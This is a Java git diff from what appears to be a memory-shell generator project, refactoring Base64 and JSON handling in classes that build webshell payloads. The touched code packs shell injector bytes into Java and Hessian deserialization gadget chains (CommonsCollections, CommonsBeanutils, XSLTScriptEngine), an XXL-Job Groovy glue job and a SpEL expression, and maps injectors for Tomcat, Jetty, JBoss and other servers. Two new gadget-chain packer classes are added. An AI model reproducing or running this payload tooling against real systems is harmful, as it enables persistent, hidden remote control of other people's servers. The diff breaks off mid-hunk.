public GenerateResult build() {
|
public GenerateResult build() {
|
||||||
if (shellBytes != null) {
|
if (shellBytes != null) {
|
||||||
shellBytesBase64Str = Base64.encodeBase64String(shellBytes);
|
shellBytesBase64Str = Base64.getEncoder().encodeToString(shellBytes);
|
||||||
shellSize = shellBytes.length;
|
shellSize = shellBytes.length;
|
||||||
}
|
}
|
||||||
if (injectorBytes != null) {
|
if (injectorBytes != null) {
|
||||||
injectorBytesBase64Str = Base64.encodeBase64String(injectorBytes);
|
injectorBytesBase64Str = Base64.getEncoder().encodeToString(injectorBytes);
|
||||||
injectorSize = injectorBytes.length;
|
injectorSize = injectorBytes.length;
|
||||||
}
|
}
|
||||||
return new GenerateResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
|
return new GenerateResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
|
||||||
|
|||||||
@@ -15,9 +15,9 @@ import lombok.experimental.SuperBuilder;
|
|||||||
@ToString
|
@ToString
|
||||||
public class GodzillaConfig extends ShellToolConfig {
|
public class GodzillaConfig extends ShellToolConfig {
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String pass = "pass";
|
private String pass = CommonUtil.getRandomString(8);
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String key = "key";
|
private String key = CommonUtil.getRandomString(8);
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String headerName = "User-Agent";
|
private String headerName = "User-Agent";
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
|
|||||||
@@ -45,12 +45,6 @@ public class ShellConfig {
|
|||||||
@Builder.Default
|
@Builder.Default
|
||||||
private boolean byPassJavaModule = false;
|
private boolean byPassJavaModule = false;
|
||||||
|
|
||||||
/**
|
|
||||||
* 是否开启混淆
|
|
||||||
*/
|
|
||||||
@Builder.Default
|
|
||||||
private boolean obfuscate = false;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 是否开启调试
|
* 是否开启调试
|
||||||
*/
|
*/
|
||||||
|
|||||||
+1
-1
@@ -8,9 +8,9 @@ import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
|||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.memshell.config.BehinderConfig;
|
import com.reajason.javaweb.memshell.config.BehinderConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.utils.DigestUtils;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import org.apache.commons.codec.digest.DigestUtils;
|
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
|
|||||||
+3
-2
@@ -4,9 +4,10 @@ import com.reajason.javaweb.ClassBytesShrink;
|
|||||||
import com.reajason.javaweb.asm.ClassRenameUtils;
|
import com.reajason.javaweb.asm.ClassRenameUtils;
|
||||||
import com.reajason.javaweb.memshell.config.CustomConfig;
|
import com.reajason.javaweb.memshell.config.CustomConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import org.apache.commons.codec.binary.Base64;
|
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/3/18
|
* @since 2025/3/18
|
||||||
@@ -28,7 +29,7 @@ public class CustomShellGenerator {
|
|||||||
throw new IllegalArgumentException("Custom shell class is empty");
|
throw new IllegalArgumentException("Custom shell class is empty");
|
||||||
}
|
}
|
||||||
|
|
||||||
byte[] bytes = ClassRenameUtils.renameClass(Base64.decodeBase64(shellClassBase64), customConfig.getShellClassName());
|
byte[] bytes = ClassRenameUtils.renameClass(Base64.getDecoder().decode(shellClassBase64), customConfig.getShellClassName());
|
||||||
|
|
||||||
return ClassBytesShrink.shrink(bytes, shellConfig.isShrink());
|
return ClassBytesShrink.shrink(bytes, shellConfig.isShrink());
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -8,9 +8,9 @@ import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
|||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.utils.DigestUtils;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import org.apache.commons.codec.digest.DigestUtils;
|
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
|
|||||||
+2
-2
@@ -14,7 +14,7 @@ import net.bytebuddy.dynamic.DynamicType;
|
|||||||
import net.bytebuddy.dynamic.scaffold.TypeValidation;
|
import net.bytebuddy.dynamic.scaffold.TypeValidation;
|
||||||
import net.bytebuddy.implementation.FixedValue;
|
import net.bytebuddy.implementation.FixedValue;
|
||||||
import net.bytebuddy.pool.TypePool;
|
import net.bytebuddy.pool.TypePool;
|
||||||
import org.apache.commons.codec.binary.Base64;
|
import java.util.Base64;;
|
||||||
|
|
||||||
import java.util.*;
|
import java.util.*;
|
||||||
|
|
||||||
@@ -35,7 +35,7 @@ public class InjectorGenerator {
|
|||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public DynamicType.Builder<?> getBuilder() {
|
public DynamicType.Builder<?> getBuilder() {
|
||||||
String base64String = Base64.encodeBase64String(CommonUtil.gzipCompress(injectorConfig.getShellClassBytes()));
|
String base64String = Base64.getEncoder().encodeToString(CommonUtil.gzipCompress(injectorConfig.getShellClassBytes()));
|
||||||
String originalClassName = injectorConfig.getInjectorClass().getName();
|
String originalClassName = injectorConfig.getInjectorClass().getName();
|
||||||
String newClassName = injectorConfig.getInjectorClassName();
|
String newClassName = injectorConfig.getInjectorClassName();
|
||||||
|
|
||||||
|
|||||||
@@ -1,12 +1,15 @@
|
|||||||
package com.reajason.javaweb.memshell.packer;
|
package com.reajason.javaweb.memshell.packer;
|
||||||
|
|
||||||
import com.alibaba.fastjson2.JSONObject;
|
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||||
import com.alibaba.fastjson2.JSONWriter;
|
import com.fasterxml.jackson.databind.SerializationFeature;
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
import org.apache.commons.io.IOUtils;
|
import org.apache.commons.io.IOUtils;
|
||||||
|
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.nio.charset.Charset;
|
import java.nio.charset.Charset;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
import java.util.Objects;
|
import java.util.Objects;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -25,23 +28,26 @@ public class XxlJobPacker implements Packer {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
|
@SneakyThrows
|
||||||
public String pack(GenerateResult generateResult) {
|
public String pack(GenerateResult generateResult) {
|
||||||
String source = template
|
String source = template
|
||||||
.replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str())
|
.replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str())
|
||||||
.replace("{{className}}", generateResult.getInjectorClassName());
|
.replace("{{className}}", generateResult.getInjectorClassName());
|
||||||
JSONObject jsonObject = new JSONObject();
|
Map<String, Object> map = new HashMap<>();
|
||||||
jsonObject.put("jobId", 1);
|
map.put("jobId", 1);
|
||||||
jsonObject.put("executorHandler", "demoJobHandler");
|
map.put("executorHandler", "demoJobHandler");
|
||||||
jsonObject.put("executorParams", "demoJobHandler");
|
map.put("executorParams", "demoJobHandler");
|
||||||
jsonObject.put("executorBlockStrategy", "COVER_EARLY");
|
map.put("executorBlockStrategy", "COVER_EARLY");
|
||||||
jsonObject.put("executorTimeout", 0);
|
map.put("executorTimeout", 0);
|
||||||
jsonObject.put("logId", 1);
|
map.put("logId", 1);
|
||||||
jsonObject.put("logDateTime", System.currentTimeMillis());
|
map.put("logDateTime", System.currentTimeMillis());
|
||||||
jsonObject.put("glueType", "GLUE_GROOVY");
|
map.put("glueType", "GLUE_GROOVY");
|
||||||
jsonObject.put("glueSource", source);
|
map.put("glueSource", source);
|
||||||
jsonObject.put("glueUpdatetime", System.currentTimeMillis());
|
map.put("glueUpdatetime", System.currentTimeMillis());
|
||||||
jsonObject.put("broadcastIndex", 0);
|
map.put("broadcastIndex", 0);
|
||||||
jsonObject.put("broadcastTotal", 0);
|
map.put("broadcastTotal", 0);
|
||||||
return JSONObject.toJSONString(jsonObject, JSONWriter.Feature.PrettyFormat);
|
ObjectMapper objectMapper = new ObjectMapper();
|
||||||
|
objectMapper.enable(SerializationFeature.INDENT_OUTPUT); // 美化输出
|
||||||
|
return objectMapper.writeValueAsString(map);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+2
-2
@@ -2,7 +2,7 @@ package com.reajason.javaweb.memshell.packer.base64;
|
|||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import org.apache.commons.codec.binary.Base64;
|
import java.util.Base64;;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -11,6 +11,6 @@ import org.apache.commons.codec.binary.Base64;
|
|||||||
public class DefaultBase64Packer implements Packer {
|
public class DefaultBase64Packer implements Packer {
|
||||||
@Override
|
@Override
|
||||||
public String pack(GenerateResult generateResult) {
|
public String pack(GenerateResult generateResult) {
|
||||||
return Base64.encodeBase64String(generateResult.getInjectorBytes());
|
return Base64.getEncoder().encodeToString(generateResult.getInjectorBytes());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+2
-2
@@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.config.GenerateResult;
|
|||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import org.apache.commons.codec.binary.Base64;
|
import java.util.Base64;;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -14,6 +14,6 @@ public class GzipBase64Packer implements Packer {
|
|||||||
@Override
|
@Override
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public String pack(GenerateResult generateResult) {
|
public String pack(GenerateResult generateResult) {
|
||||||
return Base64.encodeBase64String(CommonUtil.gzipCompress(generateResult.getInjectorBytes()));
|
return Base64.getEncoder().encodeToString(CommonUtil.gzipCompress(generateResult.getInjectorBytes()));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+3
-2
@@ -5,7 +5,8 @@ import com.reajason.javaweb.deserialize.Hessian2DeserializeGenerator;
|
|||||||
import com.reajason.javaweb.deserialize.PayloadType;
|
import com.reajason.javaweb.deserialize.PayloadType;
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import org.apache.commons.codec.binary.Base64;
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -19,6 +20,6 @@ public class Hessian2XSLTScriptEnginePacker implements Packer {
|
|||||||
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
||||||
deserializeConfig.setPayloadType(PayloadType.XSLTScriptEngine);
|
deserializeConfig.setPayloadType(PayloadType.XSLTScriptEngine);
|
||||||
byte[] generate = Hessian2DeserializeGenerator.generate(injectorBytes, injectorClassName, deserializeConfig);
|
byte[] generate = Hessian2DeserializeGenerator.generate(injectorBytes, injectorClassName, deserializeConfig);
|
||||||
return Base64.encodeBase64String(generate);
|
return Base64.getEncoder().encodeToString(generate);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-2
@@ -5,7 +5,7 @@ import com.reajason.javaweb.deserialize.HessianDeserializeGenerator;
|
|||||||
import com.reajason.javaweb.deserialize.PayloadType;
|
import com.reajason.javaweb.deserialize.PayloadType;
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import org.apache.commons.codec.binary.Base64;
|
import java.util.Base64;;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -19,6 +19,6 @@ public class HessianXSLTScriptEnginePacker implements Packer {
|
|||||||
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
||||||
deserializeConfig.setPayloadType(PayloadType.XSLTScriptEngine);
|
deserializeConfig.setPayloadType(PayloadType.XSLTScriptEngine);
|
||||||
byte[] generate = HessianDeserializeGenerator.generate(injectorBytes, injectorClassName, deserializeConfig);
|
byte[] generate = HessianDeserializeGenerator.generate(injectorBytes, injectorClassName, deserializeConfig);
|
||||||
return Base64.encodeBase64String(generate);
|
return Base64.getEncoder().encodeToString(generate);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-2
@@ -6,7 +6,7 @@ import com.reajason.javaweb.deserialize.PayloadType;
|
|||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import org.apache.commons.codec.binary.Base64;
|
import java.util.Base64;;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -19,6 +19,6 @@ public class CommonsBeanutils110Packer implements Packer {
|
|||||||
public String pack(GenerateResult generateResult) {
|
public String pack(GenerateResult generateResult) {
|
||||||
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
||||||
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils110);
|
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils110);
|
||||||
return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-2
@@ -6,7 +6,7 @@ import com.reajason.javaweb.deserialize.PayloadType;
|
|||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import org.apache.commons.codec.binary.Base64;
|
import java.util.Base64;;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -19,6 +19,6 @@ public class CommonsBeanutils16Packer implements Packer {
|
|||||||
public String pack(GenerateResult generateResult) {
|
public String pack(GenerateResult generateResult) {
|
||||||
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
||||||
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils16);
|
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils16);
|
||||||
return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-2
@@ -6,7 +6,7 @@ import com.reajason.javaweb.deserialize.PayloadType;
|
|||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import org.apache.commons.codec.binary.Base64;
|
import java.util.Base64;;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -19,6 +19,6 @@ public class CommonsBeanutils18Packer implements Packer {
|
|||||||
public String pack(GenerateResult generateResult) {
|
public String pack(GenerateResult generateResult) {
|
||||||
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
||||||
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils18);
|
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils18);
|
||||||
return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+3
-2
@@ -6,7 +6,8 @@ import com.reajason.javaweb.deserialize.PayloadType;
|
|||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import org.apache.commons.codec.binary.Base64;
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -19,6 +20,6 @@ public class CommonsBeanutils19Packer implements Packer {
|
|||||||
public String pack(GenerateResult generateResult) {
|
public String pack(GenerateResult generateResult) {
|
||||||
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
||||||
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils19);
|
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils19);
|
||||||
return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+24
@@ -0,0 +1,24 @@
|
|||||||
|
package com.reajason.javaweb.memshell.packer.deserialize.java;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
||||||
|
import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
|
||||||
|
import com.reajason.javaweb.deserialize.PayloadType;
|
||||||
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import java.util.Base64;;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/2/17
|
||||||
|
*/
|
||||||
|
public class CommonsCollections3Packer implements Packer {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SneakyThrows
|
||||||
|
public String pack(GenerateResult generateResult) {
|
||||||
|
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
||||||
|
deserializeConfig.setPayloadType(PayloadType.CommonsCollections3);
|
||||||
|
return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
||||||
|
}
|
||||||
|
}
|
||||||
+24
@@ -0,0 +1,24 @@
|
|||||||
|
package com.reajason.javaweb.memshell.packer.deserialize.java;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
||||||
|
import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
|
||||||
|
import com.reajason.javaweb.deserialize.PayloadType;
|
||||||
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import java.util.Base64;;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/2/17
|
||||||
|
*/
|
||||||
|
public class CommonsCollections4Packer implements Packer {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SneakyThrows
|
||||||
|
public String pack(GenerateResult generateResult) {
|
||||||
|
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
||||||
|
deserializeConfig.setPayloadType(PayloadType.CommonsCollections4);
|
||||||
|
return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
||||||
|
}
|
||||||
|
}
|
||||||
+2
-2
@@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.config.GenerateResult;
|
|||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import org.apache.commons.codec.binary.Base64;
|
import java.util.Base64;;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -17,6 +17,6 @@ public class SpELSpringIOUtilsGzipPacker implements Packer {
|
|||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public String pack(GenerateResult generateResult) {
|
public String pack(GenerateResult generateResult) {
|
||||||
return template.replace("{{className}}", generateResult.getInjectorClassName())
|
return template.replace("{{className}}", generateResult.getInjectorClassName())
|
||||||
.replace("{{base64Str}}", Base64.encodeBase64String(CommonUtil.gzipCompress(generateResult.getInjectorBytes())));
|
.replace("{{base64Str}}", Base64.getEncoder().encodeToString(CommonUtil.gzipCompress(generateResult.getInjectorBytes())));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -30,8 +30,9 @@ public class ApusicShell extends AbstractShell {
|
|||||||
@Override
|
@Override
|
||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(SERVLET, ApusicServletInjector.class)
|
.addInjector(LISTENER, ApusicListenerInjector.class)
|
||||||
.addInjector(FILTER, ApusicFilterInjector.class)
|
.addInjector(FILTER, ApusicFilterInjector.class)
|
||||||
.addInjector(LISTENER, ApusicListenerInjector.class).build();
|
.addInjector(SERVLET, ApusicServletInjector.class)
|
||||||
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -18,8 +18,8 @@ public class BesShell extends AbstractShell {
|
|||||||
@Override
|
@Override
|
||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(FILTER, BesFilterInjector.class)
|
|
||||||
.addInjector(LISTENER, BesListenerInjector.class)
|
.addInjector(LISTENER, BesListenerInjector.class)
|
||||||
|
.addInjector(FILTER, BesFilterInjector.class)
|
||||||
.addInjector(VALVE, BesValveInjector.class)
|
.addInjector(VALVE, BesValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN_ASM, BesFilterChainAgentWithAsmInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN_ASM, BesFilterChainAgentWithAsmInjector.class)
|
||||||
|
|||||||
@@ -44,10 +44,10 @@ public class GlassFishShell extends AbstractShell {
|
|||||||
@Override
|
@Override
|
||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(FILTER, GlassFishFilterInjector.class)
|
|
||||||
.addInjector(JAKARTA_FILTER, GlassFishFilterInjector.class)
|
|
||||||
.addInjector(LISTENER, GlassFishListenerInjector.class)
|
.addInjector(LISTENER, GlassFishListenerInjector.class)
|
||||||
.addInjector(JAKARTA_LISTENER, GlassFishListenerInjector.class)
|
.addInjector(JAKARTA_LISTENER, GlassFishListenerInjector.class)
|
||||||
|
.addInjector(FILTER, GlassFishFilterInjector.class)
|
||||||
|
.addInjector(JAKARTA_FILTER, GlassFishFilterInjector.class)
|
||||||
.addInjector(VALVE, GlassFishValveInjector.class)
|
.addInjector(VALVE, GlassFishValveInjector.class)
|
||||||
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||||
|
|||||||
@@ -24,10 +24,10 @@ public class InforSuiteShell extends AbstractShell {
|
|||||||
@Override
|
@Override
|
||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(FILTER, InforSuiteFilterInjector.class)
|
|
||||||
.addInjector(JAKARTA_FILTER, InforSuiteFilterInjector.class)
|
|
||||||
.addInjector(LISTENER, GlassFishListenerInjector.class)
|
.addInjector(LISTENER, GlassFishListenerInjector.class)
|
||||||
.addInjector(JAKARTA_LISTENER, GlassFishListenerInjector.class)
|
.addInjector(JAKARTA_LISTENER, GlassFishListenerInjector.class)
|
||||||
|
.addInjector(FILTER, InforSuiteFilterInjector.class)
|
||||||
|
.addInjector(JAKARTA_FILTER, InforSuiteFilterInjector.class)
|
||||||
.addInjector(VALVE, GlassFishValveInjector.class)
|
.addInjector(VALVE, GlassFishValveInjector.class)
|
||||||
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||||
|
|||||||
@@ -24,8 +24,8 @@ public class JbossShell extends AbstractShell {
|
|||||||
@Override
|
@Override
|
||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(FILTER, JbossFilterInjector.class)
|
|
||||||
.addInjector(LISTENER, JbossListenerInjector.class)
|
.addInjector(LISTENER, JbossListenerInjector.class)
|
||||||
|
.addInjector(FILTER, JbossFilterInjector.class)
|
||||||
.addInjector(VALVE, JbossValveInjector.class)
|
.addInjector(VALVE, JbossValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
|
||||||
|
|||||||
@@ -33,12 +33,12 @@ public class JettyShell extends AbstractShell {
|
|||||||
@Override
|
@Override
|
||||||
public InjectorMapping getShellInjectorMapping() {
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
return InjectorMapping.builder()
|
return InjectorMapping.builder()
|
||||||
.addInjector(SERVLET, JettyServletInjector.class)
|
|
||||||
.addInjector(JAKARTA_SERVLET, JettyServletInjector.class)
|
|
||||||
.addInjector(FILTER, JettyFilterInjector.class)
|
|
||||||
.addInjector(JAKARTA_FILTER, JettyFilterInjector.class)
|
|
||||||
.addInjector(LISTENER, JettyListenerInjector.class)
|
.addInjector(LISTENER, JettyListenerInjector.class)
|
||||||
.addInjector(JAKARTA_LISTENER, JettyListenerInjector.class)
|
.addInjector(JAKARTA_LISTENER, JettyListenerInjector.class)
|
||||||
|
.addInjector(FILTER, JettyFilterInjector.class)
